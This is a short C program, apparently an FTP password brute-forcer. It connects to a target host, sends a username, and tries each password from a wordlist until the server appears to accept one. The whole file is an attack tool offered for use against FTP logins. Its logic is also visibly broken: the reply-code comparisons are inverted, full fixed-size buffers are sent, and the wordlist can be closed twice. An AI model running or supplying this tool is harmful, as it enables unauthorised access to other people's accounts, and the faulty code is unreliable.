#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
int
ftp_connect(char *ip, int port)
{
int sock;
struct sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(port);
client.sin_addr.s_addr = inet_addr(ip);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Creating socket file: ");
return EXIT_FAILURE;
}
if((connect(sock, (struct sockaddr*) &client, sizeof(client))) == -1)
{
printf("Connection to %s failed.", ip);
return EXIT_FAILURE;
}
printf("[+] Connected to %s\n", ip);
return sock;
}
int
ftp_login(int sock, char *user)
{
char request[515];
char server_msg[515];
snprintf(request, sizeof(request), "USER %s\r\n", user);
if((send(sock, request, sizeof(request), 0)) == -1)
{
printf("Request sending fail.");
return -1;
}
recv(sock, server_msg, sizeof(server_msg), 0);
if(strncmp(server_msg, "331", 3))
printf("[+] USER... Ok");
else
{
printf("Bad USER");
return -1;
}
return 0;
}
void
brute_force(char *ip, int port, char *user, char *file_source)
{
FILE *wordlist;
char request[515];
char password[515];
char server_request[515] = {0};
int sock;
int key = 0;
while(key != 1)
{
if((wordlist = fopen(file_source, "r")) == NULL)
printf("Can't open %s", file_source);
while(fgets(password, sizeof(password), wordlist) != NULL)
{
sock = ftp_connect(ip, port);
if(ftp_login(sock, user) == 0)
{
printf("\nPass test: %s", password);
snprintf(request, sizeof(request), "PASS %s\r\n", password);
if((send(sock, request, sizeof(request), 0)) == -1)
perror("Password sending fail.");
recv(sock, server_request, sizeof(server_request), 0);
if(strncmp(server_request, "230", 3))
{
close(sock);
fclose(wordlist);
printf("PASSWORD: %s\nGOOD BYE\n", password);
key = 1;
}
}
}
key = 1;
close(sock);
}
fclose(wordlist);
printf("Sorry, no password ..");
}
int
main(int argc, char **argv)
{
if(argc != 5)
printf("Syntax: %s IP_HOST PORT USER WORDLIST\n", argv[0]);
brute_force(argv[1], atoi(argv[2]), argv[3], argv[4]);
return EXIT_SUCCESS;
}